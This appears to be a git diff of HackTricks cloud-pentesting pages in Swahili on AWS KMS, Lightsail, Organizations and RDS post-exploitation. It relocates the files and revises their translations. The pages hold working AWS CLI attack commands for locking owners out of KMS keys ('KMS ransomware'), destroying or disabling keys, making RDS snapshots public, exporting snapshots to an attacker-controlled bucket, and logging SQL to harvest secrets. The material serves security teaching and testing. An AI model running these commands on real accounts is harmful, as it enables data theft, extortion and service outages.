+- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md

@@ -1,182 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Encrypt/Decrypt taarifa
-
-`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
-
-- `fileb://:` Inasoma faili kwa mode ya binary, kawaida inatumiwa kwa faili zisizo za maandishi.
-- `file://:` Inasoma faili kwa mode ya maandishi, kwa kawaida inatumiwa kwa faili za maandishi za kawaida, scripts, au JSON ambazo hazina mahitaji maalum ya encoding.
-
-> [!TIP]
-> Kumbuka kwamba ikiwa unataka decrypt data ndani ya faili, faili lazima iwe na data ya binary, sio data iliyokuwa base64 encoded. (fileb://)
-
-- Kutumia a **symmetric** key
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---output text \
---query Plaintext | base64 \
---decode
-```
-- Kutumia funguo **asimetriki**:
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---output text \
---query Plaintext | base64 \
---decode
-```
-### KMS Ransomware
-
-Mshambuliaji akiwa na ufikiaji wa hadhi ya juu kwa KMS anaweza kubadilisha sera za KMS za keys na **kumpa akaunti yake ufikiaji kwa keys hizo**, na kuondoa ufikiaji uliotolewa kwa akaunti halali.
-
-Baada yake, watumiaji wa akaunti halali hawataweza kufikia taarifa yoyote ya huduma yoyote iliyosimbwa kwa keys hizo, kuunda ransomware rahisi lakini yenye ufanisi dhidi ya akaunti hiyo.
-
-> [!WARNING]
-> Kumbuka kwamba **AWS managed keys hazinaathiriwa** na shambulio hili; ni **Customer managed keys** tu.
-
-> Pia kumbuka hitaji la kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili kwenye web console unafanya shambulio hili liwe linawezekana tu kupitia CLI).
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
---policy-name default \
---policy file:///tmp/policy.yaml \
---bypass-policy-lockout-safety-check
-
-{
-"Id": "key-consolepolicy-3",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<your_own_account>:root"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-> [!CAUTION]
-> Tambua kwamba ikiwa utabadilisha policy hiyo na kutoa ufikiaji kwa external account tu, na kisha kutoka external account hii ukajaribu kuweka policy mpya ili **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
-
-<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
-
-### Jeneriki KMS Ransomware
-
-Kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo itajumuisha hatua zifuatazo:
-
-- Tengeneza key mpya na **key material** iliyopingwa/imeingizwa na attacker
-- **Re-encrypt older data** ya victim iliyofichwa na version ya awali kwa kutumia ile mpya
-- **Futa KMS key**
-- Sasa ni attacker pekee, ambaye ana original key material, atakayekuwa na uwezo wa decrypt data iliyofichwa
-
-### Futa Vifunguo kupitia `kms:DeleteImportedKeyMaterial`
-
-Kwa ruhusa ya `kms:DeleteImportedKeyMaterial`, mshiriki anaweza kufuta imported key material kutoka CMKs zenye `Origin=EXTERNAL` (CMKs ambazo zimeingiza key material zao), na kuzifanya zisizoweza ku-decrypt data. Kitendo hiki ni cha uharibifu na hakirejeshiki isipokuwa material inayofaa iingizwe tena, na hivyo kumruhusu attacker kusababisha kwa ufanisi kupoteza data kama ransomware kwa kufanya taarifa zilizofichwa zisipatikane milele.
-```bash
-aws kms delete-imported-key-material --key-id <Key_ID>
-```
-### Haribu funguo
-
-Kuangamiza funguo kunaweza kusababisha DoS.
-```bash
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
---pending-window-in-days 7
-```
-> [!CAUTION]
-> Kumbuka kwamba AWS sasa **inazuia vitendo vilivyotangulia kutekelezwa kutoka cross-account:**
-
-### Badilisha au futa Alias
-Shambulio hili linafuta au kuielekeza upya AWS KMS aliases, kuharibu utambuzi wa ufunguo na kusababisha kushindwa mara moja kwa huduma yoyote inayotegemea alias hizo, ikisababisha denial-of-service. Kwa ruhusa kama `kms:DeleteAlias` au `kms:UpdateAlias` mshambuliaji anaweza kuondoa au kurekebisha mwelekeo wa alias na kuingilia kati operesheni za kriptografia (mf., encrypt, describe). Huduma yoyote inayorejelea alias badala ya key ID inaweza kushindwa hadi alias irekebishwe au irejeshwe kwa usahihi.
-```bash
-# Delete Alias
-aws kms delete-alias --alias-name alias/<key_alias>
-
-# Update Alias
-aws kms update-alias \
---alias-name alias/<key_alias> \
---target-key-id <new_target_key>
-```
-### Kukatisha Ufutaji wa Ufunguo
-Kwa ruhusa kama `kms:CancelKeyDeletion` na `kms:EnableKey`, mhusika anaweza kukatisha ufutaji uliopangwa wa AWS KMS customer master key na baadaye kuiwezesha tena. Hii hurudisha ufunguo (mwanzoni katika Disabled state) na kurejesha uwezo wake wa decrypt data iliyolindwa hapo awali, ikiruhusu exfiltration.
-```bash
-# Firts cancel de deletion
-aws kms cancel-key-deletion \
---key-id <Key_ID>
-
-## Second enable the key
-aws kms enable-key \
---key-id <Key_ID>
-```
-### Kuzima Funguo
-Kwa ruhusa ya `kms:DisableKey`, muingiliaji anaweza kuzima AWS KMS customer master key, akizuia itumike kwa encryption au decryption. Hii inavunja ufikiaji kwa huduma yoyote inayotegemea CMK hiyo na inaweza kusababisha usumbufu wa papo hapo au denial-of-service hadi funguo itakapowezeshwa tena.
-```bash
-aws kms disable-key \
---key-id <key_id>
-```
-### Derive Shared Secret
-Kwa ruhusa ya `kms:DeriveSharedSecret`, mhusika anaweza kutumia private key iliyoshikiliwa na KMS pamoja na public key iliyotolewa na mtumiaji ili kuhesabu ECDH shared secret.
-```bash
-aws kms derive-shared-secret \
---key-id <key_id> \
---public-key fileb:///<route_to_public_key> \
---key-agreement-algorithm <algorithm>
-```
-### Impersonation via kms:Sign
-Kwa ruhusa ya `kms:Sign`, mhusika anaweza kutumia KMS-stored CMK kusaini data kwa njia ya cryptographic bila kufichua private key, na kuzalisha signatures halali ambazo zinaweza kuwezesha impersonation au kuidhinisha vitendo hatarishi.
-```bash
-aws kms sign \
---key-id <key-id> \
---message fileb://<ruta-al-archivo> \
---signing-algorithm <algoritmo> \
---message-type RAW
-```
-### DoS with Custom Key Stores
-Kwa ruhusa kama `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, au `kms:UpdateCustomKeyStore`, muigizaji anaweza kubadilisha, kutenganisha, au kufuta AWS KMS Custom Key Store (CKS), na kufanya vifunguo vyake vya msingi visifanye kazi. Hii inavunja operesheni za usimbaji, ufumbuzi (decryption), na kuweka saini kwa huduma yoyote inayotegemea vifunguo hivyo na inaweza kusababisha immediate denial-of-service. Kudhibiti na kufuatilia ruhusa hizo ni muhimu.
-```bash
-aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
-```
-<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md

@@ -0,0 +1,182 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Encrypt/Decrypt taarifa
+
+`fileb://` na `file://` ni schemes za URI zinazotumika katika AWS CLI commands kutaja njia ya faili za ndani:
+
+- `fileb://:` Inasoma faili kwa njia ya binary, kawaida hutumika kwa faili zisizo za maandishi.
+- `file://:` Inasoma faili kwa mode ya maandishi, kawaida hutumika kwa faili za maandishi rahisi, scripts, au JSON isiyo na mahitaji maalumu ya encoding.
+
+> [!TIP]
+> Kumbuka kwamba ikiwa unataka decrypt baadhi ya data ndani ya faili, faili lazima iwe na data ya binary, sio data iliyokuwa base64 encoded. (fileb://)
+
+- Using a **symmetric** key
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+- Kutumia ufunguo **asimetriki**:
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+### KMS Ransomware
+
+Mshambuliaji aliye na ufikiaji wa kipaumbele kwenye KMS anaweza kubadilisha sera za KMS za funguo na **kumpa akaunti yake ufikiaji juu yao**, akiondoa ufikiaji uliotolewa kwa akaunti halali.
+
+Kisha, watumiaji wa akaunti halali hawawezi kupata taarifa za huduma yoyote iliyosimbwa kwa funguo hizo, na kuunda ransomware rahisi lakini yenye ufanisi juu ya akaunti hiyo.
+
+> [!WARNING]
+> Kumbuka kwamba **AWS managed keys aren't affected** na shambulio hili — huathiriwa ni tu **Customer managed keys**.
+
+> Pia kumbuka uhitaji wa kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili katika web console unafanya shambulio hili liwe linawezekana tu kutoka CLI).
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
+
+{
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<your_own_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+> [!CAUTION]
+> Kumbuka kwamba ikiwa utabadilisha sera hiyo na kutoa ufikiaji kwa akaunti ya nje tu, na kuka kutoka akaunti hii ya nje ukajaribu kuweka sera mpya ili **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
+
+<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
+
+### KMS Ransomware ya Kawaida
+
+Kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo itahusisha hatua zifuatazo:
+
+- Unda **key mpya yenye key material** iliyingizwa na attacker
+- **Re-encrypt older data** ya victim iliyokuwa encrypted na version ya awali kwa kutumia ile mpya.
+- **Delete the KMS key**
+- Sasa ni attacker pekee, ambaye ana original key material, angeweza decrypt the encrypted data
+
+### Delete Keys via kms:DeleteImportedKeyMaterial
+
+Kwa ruhusa ya `kms:DeleteImportedKeyMaterial`, mhusika anaweza kufuta imported key material kutoka kwa CMKs zenye `Origin=EXTERNAL` (CMKs ambazo zimeingiza key material yao), na hivyo kuzifanya zisifae kutengeneza upya (decrypt) data. Hatua hii ni ya uharibifu na haiwezi kurekebishwa isipokuwa material inayofaa iingizwe upya, ikimruhusu attacker kusababisha upotevu wa data wa aina ya ransomware-like kwa kufanya taarifa zilizofichwa zisizopatikana kabisa.
+```bash
+aws kms delete-imported-key-material --key-id <Key_ID>
+```
+### Kuangamiza funguo
+
+Kwa kuangamiza funguo, inawezekana kusababisha DoS.
+```bash
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
+```
+> [!CAUTION]
+> Fahamu kuwa AWS sasa **inazuia vitendo vya awali kufanywa kutoka kwenye cross account:**
+
+### Badilisha au futa Alias
+Shambulio hili hufuta au kuelekeza upya AWS KMS aliases, kuharibu key resolution na kusababisha kushindwa mara moja kwa huduma yoyote inayotegemea aliases hizo, na kusababisha denial-of-service. Kwa ruhusa kama `kms:DeleteAlias` au `kms:UpdateAlias` mdukuzi anaweza kuondoa au kuelekeza aliases upya na kuathiri operesheni za kriptografia (mf., encrypt, describe). Huduma yoyote inayorejea alias badala ya key ID inaweza kushindwa hadi alias itakaporudishwa au kupangwa upya kwa usahihi.
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/<key_alias>
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/<key_alias> \
+--target-key-id <new_target_key>
+```
+### Kughairi Ufutaji wa Ufunguo
+Kwa ruhusa kama `kms:CancelKeyDeletion` na `kms:EnableKey`, mtendaji anaweza kughairi ufutaji uliopangwa wa AWS KMS customer master key na baadaye kuiwezesha tena. Kufanya hivyo kunarejesha ufunguo (mwanzoni katika Disabled state) na kurejesha uwezo wake wa ku-decrypt data iliyolindwa hapo awali, hivyo kuwezesha exfiltration.
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id <Key_ID>
+
+## Second enable the key
+aws kms enable-key \
+--key-id <Key_ID>
+```
+### Kuzima Ufunguo
+Kwa ruhusa ya `kms:DisableKey`, mhusika anaweza kuzima AWS KMS customer master key (CMK), kuizuia isitumike kwa encryption au decryption. Hii inavunja upatikanaji kwa huduma yoyote inayotegemea CMK hiyo na inaweza kusababisha usumbufu wa haraka au denial-of-service hadi ufunguo uwezeshwe tena.
+```bash
+aws kms disable-key \
+--key-id <key_id>
+```
+### Pata Siri ya Pamoja
+Kwa ruhusa ya `kms:DeriveSharedSecret`, mhusika anaweza kutumia funguo binafsi iliyoshikiliwa na KMS pamoja na funguo ya umma iliyotolewa na mtumiaji ili kuhesabu siri ya pamoja ya ECDH.
+```bash
+aws kms derive-shared-secret \
+--key-id <key_id> \
+--public-key fileb:///<route_to_public_key> \
+--key-agreement-algorithm <algorithm>
+```
+### Impersonation kupitia kms:Sign
+Kwa idhini ya `kms:Sign`, mhusika anaweza kutumia KMS-stored CMK kusaini data kwa njia ya kriptografia bila kufichua private key, na kutengeneza saini halali ambazo zinaweza kuwezesha impersonation au kuruhusu vitendo vibaya.
+```bash
+aws kms sign \
+--key-id <key-id> \
+--message fileb://<ruta-al-archivo> \
+--signing-algorithm <algoritmo> \
+--message-type RAW
+```
+### DoS with Custom Key Stores
+Kwa ruhusa kama `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, au `kms:UpdateCustomKeyStore`, mhusika anaweza kubadilisha, kutenganisha, au kufuta AWS KMS Custom Key Store (CKS), na kufanya vifunguo vyake vikuu visifanyi kazi. Hii inavunja operesheni za kusimbua, kufungua (decryption), na kusaini kwa huduma yoyote inayotegemea vifunguo hivyo na inaweza kusababisha denial-of-service mara moja. Kwa hivyo, ni muhimu kudhibiti na kufuatilia ruhusa hizo.
+```bash
+aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
+```
+<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md

@@ -1,30 +0,0 @@
-# AWS - Lightsail Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Kwa maelezo zaidi, angalia:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Rejesha picha za zamani za DB
-
-Ikiwa DB ina picha, unaweza kuwa na uwezo wa **kupata taarifa nyeti ambazo kwa sasa zimefutwa katika picha za zamani**. **Rejesha** picha hiyo katika **databasi mpya** na uichunguze.
-
-### Rejesha Picha za Instance
-
-Picha za instance zinaweza kuwa na **taarifa nyeti** za instances ambazo tayari zimefutwa au taarifa nyeti ambazo zimefutwa katika instance ya sasa. **Unda instances mpya kutoka kwa picha hizo** na uziangalie.\
-Au **hamasisha picha hiyo kuwa AMI katika EC2** na ufuate hatua za instance ya kawaida ya EC2.
-
-### Fikia Taarifa Nyeti
-
-Angalia chaguzi za privesc za Lightsail kujifunza njia tofauti za kufikia taarifa nyeti zinazoweza kuwepo:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md

@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Kwa taarifa zaidi, angalia:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Rejesha snapshot za DB za zamani
+
+Ikiwa DB ina snapshot, unaweza kuwa na uwezo wa **kupata taarifa nyeti zilizofutwa katika snapshot za zamani**. **Rejesha** snapshot katika **database mpya** na uikague.
+
+### Rejesha Instance Snapshots
+
+Instance snapshots zinaweza kuwa na **taarifa nyeti** za instances zilizofutwa tayari au taarifa nyeti zilizofutwa katika instance ya sasa. **Unda instances mpya kutoka kwa snapshots** na uziangalie.\
+Au **hamisha snapshot kuwa AMI katika EC2** na fuata hatua za instance ya kawaida ya EC2.
+
+### Fikia Taarifa Nyeti
+
+Angalia chaguzi za Lightsail privesc ili ujifunze njia tofauti za kufikia taarifa nyeti zinazowezekana:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md

@@ -1,17 +1,17 @@
 # AWS - Organizations Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Organizations
 
 Kwa maelezo zaidi kuhusu AWS Organizations angalia:
 
 {{#ref}}
-../aws-services/aws-organizations-enum.md
+../../aws-services/aws-organizations-enum.md
 {{#endref}}
 
-### Ondoka kwenye Org
+### Kuondoka kwenye Org
 ```bash
 aws organizations deregister-account --account-id <account_id> --region <region>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-Kwa taarifa zaidi angalia:
+Kwa maelezo zaidi angalia:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Ikiwa mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB inapatikana kwa umma** kwa kuunda snapshot ya DB, na kisha DB inayopatikana kwa umma kutoka kwa snapshot.
+Iwapo mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB iwe inapatikana kwa umma** kwa kuunda snapshot ya DB, kisha kuunda DB inayopatikana kwa umma kutoka kwa snapshot hiyo.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-Mtu mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuifanya **kupatikana** **kwa umma**. Kisha, anaweza kuunda DB kwenye akaunti yake kutoka kwa snapshot hiyo.
+Mshambuliaji mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuiweka **kwa umma** **kupatikana**. Kisha, anaweza kuunda DB katika akaunti yake mwenyewe kutoka kwenye snapshot hiyo.
 
-Ikiwa mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya snapshots **nyingine** zilizoundwa ziwe **kwa umma**.
+Iwapo mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya snapshots zilizotengenezwa **nyengine** **kuwa za umma**.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-Mshambuliaji akiwa na ruhusa `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za logi za RDS instance**. Ikiwa data nyeti au nyaraka za ufikiaji zimeandikwa kwa bahati mbaya, mshambuliaji anaweza kutumia taarifa hizi kuongeza ruhusa zake au kufanya vitendo visivyoidhinishwa.
+Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **download portions of an RDS instance's log files**. Ikiwa data nyeti au access credentials zikorekodiwa kwa bahati kwenye logi, mshambuliaji anaweza kutumia taarifa hizi kuongeza vibali vyake au kufanya vitendo visivyoidhinishwa.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Potential Impact**: Ufikiaji wa taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia leaked credentials.
+**Potential Impact**: Ufikiaji wa taarifa nyeti au hatua zisizoidhinishwa kwa kutumia leaked credentials.
 
 ### `rds:DeleteDBInstance`
 
@@ -73,25 +73,25 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
 > [!NOTE]
 > TODO: Jaribu
 
-Mshambuliaji mwenye idhini hii anaweza **kusafirisha snapshot ya instance ya RDS hadi S3 bucket**. Ikiwa mshambuliaji anadhibiti S3 bucket ya lengo, anaweza kupata data nyeti ndani ya snapshot iliyosafirishwa.
+Mshambuliaji mwenye ruhusa hii anaweza kuhamisha snapshot ya RDS instance kwenda S3 bucket. Ikiwa mshambuliaji anadhibiti S3 bucket ya lengo, anaweza kupata data nyeti ndani ya snapshot iliyohamishwa.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**Athari inayowezekana**: Ufikiaji wa data nyeti katika snapshot iliyotolewa.
+**Athari inayowezekana**: Kufikia data nyeti katika snapshot iliyosafirishwa.
 
-### Kuiga automated backups kati ya Regions kwa kurejesha kwa siri (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Kuiga automated backups kati ya Region kwa kurejesha kwa siri (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Tumia vibaya cross-Region automated backups replication ili kwa utulivu kunakili automated backups za instance ya RDS kwenda AWS Region nyingine na kurejesha huko. Attacker anaweza kisha kufanya DB iliyorejeshwa iwe inapatikana kwa umma na kuweka upya master password ili kupata data out-of-band katika Region ambayo defenders huenda hawafuatilii.
+Tumia vibaya replication ya automated backups ya cross-Region ili kwa utulivu kunakili automated backups za instance ya RDS ndani ya AWS Region nyingine na kuziweka tena huko. Mshambuliaji anaweza kisha kufanya DB iliyorejeshwa iwe publicly accessible na kuweka upya master password ili kupata data out-of-band katika Region ambayo walinzi wanaweza wasiichunguze.
 
 Permissions needed (minimum):
-- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
-- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
-- `rds:RestoreDBInstanceToPointInTime` in the destination Region
-- `rds:ModifyDBInstance` in the destination Region
+- `rds:StartDBInstanceAutomatedBackupsReplication` katika Region ya lengo
+- `rds:DescribeDBInstanceAutomatedBackups` katika Region ya lengo
+- `rds:RestoreDBInstanceToPointInTime` katika Region ya lengo
+- `rds:ModifyDBInstance` katika Region ya lengo
 - `rds:StopDBInstanceAutomatedBackupsReplication` (usafishaji wa hiari)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (kuweka wazi DB iliyorejeshwa)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (ili kuifanya DB iliyorejeshwa ifikike hadharani)
 
-Impact: Uendelevu na data exfiltration kwa kurejesha nakala ya data ya production katika Region nyingine na kuiweka wazi kwa umma kwa kutumia credentials zinazodhibitiwa na attacker.
+Impact: Persistence na data exfiltration kwa kurejesha nakala ya production data katika Region nyingine na kuifanya ionekane hadharani kwa kutumia credentials zinazodhibitiwa na mshambuliaji.
 
 <details>
 <summary>CLI kutoka mwanzo hadi mwisho (badilisha placeholders)</summary>
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### Wezesha kurekodi kamili ya SQL kupitia DB parameter groups na exfiltrate kupitia RDS log APIs
+### Washa ufuatiliaji kamili wa SQL kupitia DB parameter groups na exfiltrate kupitia RDS log APIs
 
-Tumia `rds:ModifyDBParameterGroup` pamoja na RDS log download APIs ili kunasa statements zote za SQL zinazotekelezwa na applications (hakuna DB engine credentials zinahitajika). Wezesha engine SQL logging na pakua file logs kupitia `rds:DescribeDBLogFiles` na `rds:DownloadDBLogFilePortion` (au REST `downloadCompleteLogFile`). Inafaa kukusanya queries ambazo zinaweza kuwa na secrets/PII/JWTs.
+Tumia vibaya `rds:ModifyDBParameterGroup` pamoja na RDS log download APIs ili kunasa maagizo yote ya SQL yanayotekelezwa na applications (hakuna DB engine credentials zinahitajika). Washa engine SQL logging na pakua file logs kupitia `rds:DescribeDBLogFiles` na `rds:DownloadDBLogFilePortion` (au REST `downloadCompleteLogFile`). Inafaa kukusanya queries ambazo zinaweza kuwa na secrets/PII/JWTs.
 
-Ruhusa zinazohitajika (angalau):
+Permissions needed (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
-- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
+- `rds:ModifyDBInstance` (tu kwa kuambatanisha custom parameter group ikiwa instance inatumia default one)
+- `rds:RebootDBInstance` (kwa parameters zinazohitaji reboot, mf. PostgreSQL)
 
-Hatua
-1) Recon lengo na parameter group ya sasa
+Steps
+1) Recon target na angalia current parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Hakikisha custom DB parameter group imeambatishwa (haiwezi kuhariri default)
-- Ikiwa instance tayari inatumia custom group, tumia tena jina lake katika hatua inayofuata.
-- Vinginevyo, tengeneza na uambatishe moja inayolingana na engine family:
+2) Hakikisha kundi maalum la vigezo la DB limeambatishwa (haiwezi kuhariri chaguo-msingi)
+- Ikiwa instance tayari inatumia kundi maalum, tumia tena jina lake katika hatua inayofuata.
+- Vinginevyo, tengeneza na uambatisha moja inayolingana na familia ya engine:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,8 +196,8 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) Washa ufuatiliaji wa kina wa SQL
-- MySQL engines (mara moja / hakuna upya):
+3) Washa ufuatiliaji wa SQL wa kina
+- MySQL engines (mara moja / bila kuanzisha upya):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
